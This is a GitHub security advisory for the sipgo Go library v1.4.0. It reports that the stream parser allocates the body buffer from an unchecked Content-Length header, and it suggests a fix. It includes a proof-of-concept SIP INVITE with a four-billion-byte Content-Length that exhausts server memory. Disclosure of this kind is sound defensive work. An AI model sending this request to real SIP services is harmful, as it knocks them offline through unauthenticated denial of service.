GHSA-pg59-5vwg-4jxq

### Summary The stream parser allocates the SIP body buffer from the `Content-Length` header before validating its size, which can lead to an unauthenticated DoS. ### Details `ParserStream.parseSingle` allocates the body buffer from the declared `Content-Length` with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195): ```go body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32) ``` The `ParseMaxMessageLength` (65535) check is in the caller `ParseNext` (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after `parseSingle` has already allocated the buffer. ### PoC Tested on emiago/sipgo v1.4.0 (latest). Send a single message with a large `Content-Length` and no body to a SIP server: ``` INVITE sip:[email protected] SIP/2.0 Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1 From: <sip:[email protected]>;tag=1 To: <sip:[email protected]> Call-ID: [email protected] CSeq: 1 INVITE Content-Length: 4000000000 // <- a large Content-Length ``` ### Suggested Fix Validate `contentLength` against `ParseMaxMessageLength` before the allocation. ### Impact Unauthenticated DoS. Any service using `sipgo` with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.